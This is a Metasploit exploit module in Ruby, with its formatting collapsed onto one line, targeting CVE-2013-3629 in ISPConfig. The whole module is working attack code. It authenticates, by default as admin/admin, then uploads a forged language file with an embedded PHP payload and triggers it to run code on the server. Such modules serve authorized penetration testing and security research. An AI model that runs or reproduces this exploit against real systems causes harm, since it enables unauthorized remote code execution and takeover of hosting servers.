## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution', 'Description' => %q{ ISPConfig allows an authenticated administrator to export language settings into a PHP script which is intended to be reuploaded later to restore language settings. This feature can be abused to run aribtrary PHP code remotely on the ISPConfig server. This module was tested against version 3.0.5.2. }, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-3629'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => "&\n=+%", }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 30 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']), OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es']) ], self.class) end def check end def lng datastore['LANGUAGE'] end def exploit init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') }) if !init or init.code != 200 fail_with("Error getting initial page.") end sess = init.get_cookies post = { 'username' => datastore["USERNAME"], 'passwort' => datastore["PASSWORD"], 's_mod' => 'login', 's_pg' => 'index' } print_status("Authenticating as user: " << datastore["USERNAME"]) login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/content.php'), 'vars_post' => post, 'cookie' => sess }) if !login or login.code != 200 fail_with("Error authenticating.") end sess = login.get_cookies fname = rand_text_alphanumeric(rand(10)+6) + '.lng' php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n" php << "--|global|#{lng}|#{lng}.lng\n" php << "<?php \n" php << payload.encoded php << "?>\n" php << "--|mail|#{lng}|#{lng}.lng\n" php << "<?php" php << "?>" data = Rex::MIME::Message.new data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"") data.add_part('1', nil, nil, 'form-data; name="overwrite"') data.add_part('1', nil, nil, 'form-data; name="ignore_version"') data.add_part('', nil, nil, 'form-data; name="id"') data_post = data.to_s print_status("Sending payload") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post, 'cookie' => sess }) post = { 'lng_select' => 'es' } print_status("Triggering payload...") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'), 'vars_post' => post, 'cookie' => sess }) end end